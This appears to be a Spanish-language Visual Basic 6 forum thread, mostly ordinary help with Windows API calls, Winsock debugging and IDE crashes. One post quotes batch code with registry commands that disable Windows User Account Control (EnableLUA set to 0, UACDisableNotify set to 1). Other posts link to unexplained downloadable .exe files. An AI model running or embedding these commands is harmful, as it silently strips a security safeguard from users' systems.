Mensajes

PD:van a borrar el post no??

Sigue soñando

20

no soy el autor pero seguro no entiendes las apis;

Código (vb) [Seleccionar] Expandir


Private Declare Function CreateFile Lib "kernel32" _
Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
ByVal lpSecurityAttributes As Long, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long

Private Declare Function WriteFile Lib "kernel32" ( _
ByVal hFile As Long, _
ByVal lpBuffer As Any, _
ByVal nNumberOfBytesToWrite As Long, _
lpNumberOfBytesWritten As Long, _
ByVal lpOverlapped As Long) As Long

Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As Long) As Long


Solo te dire que son las instrucciones para Crear un Archivo, Escribir en un Archivo y Cerrar El archivo abierto (En ese orden)

Es por decir:

Código (vb) [Seleccionar] Expandir



Open RutaArchivo for mododeabrir as id '  // CreateFile (API)

'  //WriteFile (API)
'  // ReadFile (API)
'put
'write
'etc
Close id '  // CloseHandle



En si lo unico que hace es un archivo Bat y lo ejecuta con la api ShellExecuteEx

El bat contiene esto:

Código (vb) [Seleccionar] Expandir



strBatCode = "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Security Center" & Chr(34) & " /v UACDisableNotify /t reg_dword /d 00000001 /f" & vbCrLf & _
                "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" & Chr(34) & " /v EnableLUA /t REG_DWORD /d 00000000 /f"



En si El vb6 no ejecuta el permitir privilegios, si no mas bien ees el bat (Lenguaje Batch)

Dulces Lunas!¡.

Aun que no lo creas si es muy molesto cuando intentas consultar el ultimo registro

Dulces Lunas!¡.

mmm se me ocurre

0 Obtienes las ventanas y las pones en un array en memoria (MultiDimencional, En el primer registro un registro de si existe en el listview, este se modificaria en el siguiente paso y obtendia un valor true o false [0,1], en el resto solo los datos de tus ventanas )
1 Rectificas cada elemento con el del ListView o listBox ( Modificas el elemento 0 del array Multidimenscional [0,1] )
2 Si no existe el elemento del Listview en el array Multidimencional recorres TODOS los registros una posición (Esto incluye la propiedad SelectItem).
3 Agregas los elementos del array Multidimencional no existentes (Segun el registro de la posicion 0 del array multidimencional)
3 esperas un X tiempo
4 repites desde el Paso "0"

De esta forma no se vuelve odioso

Nota: Debes usar algun comparador antes de añadir o borrar

EDITO:---------------->

Alternativa al paso 2 en lugar de recorres lo sustituyes por otro elemento asi te ahorras uno o dos bucles.

dulces Lunas!¡

Mira estos ejemplos los ise cuando empesaba aprogramar en VB son muy simples.


http://ladinastia.webcindario.com/Muere_Red%201.0.exe

y

http://ladinastia.webcindario.com/Gato%201.0.exe

el Vb6 es muy limitado pero se puede hacer esto por ejemplo:
le puse Super Zombito XD
http://www.mediafire.com/?omjojfr3y1m

Haber haber haber

El lenguaje Basic NO ES LIMITADO EL Limite es el PROGRAMADOR... y el SO  jajaja

Ademas de Argentum Online Existen otros Engines para mmorpg MUCHOSIMO MEJORES, comparando el codigo de este con el Engine Eclipse, este Se queda corto.

Dulces Lunas!¡.

intenta con esta:

Código (vb) [Seleccionar] Expandir



Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long



Dulces Lunas

creo que entendi que en el punto Numero 5 buscas MultiTheard o MultiHilos

revisa esta liga:

http://www.pscode.com/vb/scripts/ShowCode.asp?txtCodeId=31786&lngWId=1

Para sincronisar puedes usar las "APIS Atom" ( Hay otras pero no recuerdo sus nombres )

Con el ejemplo del PSC y las apis ATOM te olvidas del SendMessage, Post, etc [ Para la comunicacion entre procesos ]

Dulces Lunas!¡.

haber...haber ¿ el cliente lo tenes en un proyecto, y el servidor lo tenes en otro no ? te conectas con el winsock no? porque no lo has puesto, pero me imagino que si sino seria inutil tratar de conectar. lo que yo digo que para probar lo que esta haciendo el codigo realemnte es que pongas un punto de interrupcion en el dataarrival del servidor y cuando aprietes el boton , en el servidor el codigo debe quedar parado en el punto que pusiste, queire decir que le estan llegando datos...si no sabes como poner un punto de interrupción ya eso es otra cosa y creo que es muy basico como para andar explicandolo, es casi como explicar como se abre el visual basic, si no lo sabes pues busca como se hace.

F8 en la linea para que salga dicho punto (Se sombrea de rojo) y de nuevo F8 para quitar dicho punto

Esto no aplica en algunos lugares

Dulces Lunas!¡.

pregunta critica, ¿que sistema operativo tenes ? si tenes un UE o uno de esos modificados te digo desde ya que ese es el problema.

si no tenes uno modificado, pues proba desinstalar completamente el visual studio y lo instalas de nuevo. y tambien instala despues el service pack 6 de visual basic que corrige varios errores. parece ser un error critico el que te tira y se sale de la aplicación.a veces se corrige instalando todo de nuevo.sino ya veremos, pero por ahora hace eso.

el codigo fuente no hace nada raro como para que se cierre, igualmente algunas recomendaciones de paso que te doy son que indentes el codigo fuente y que trates de trabajar con ADO en bases de datos, en vez de DAO como estas usando, ya que ese metodo no existe mas digamos...

saludos.

mm es raro pero bueno, yo he pasado por diversos SO XP UE  y JAMAS me han dado algun problema ( APIS, Servicios, Accesos a bases de datos, Privilegios, Etc ).

Asi que el SO no creo que tenga ver (Mas sin encambio algun servicio que este detenido hablando globalmente o que falte algun dependiente).

P.D.: Actualmente estoy en el Win Seven (ultima version Versión Release con el serial original hasta el siguiente año creo que junio xP)

Dulces Lunas!¡.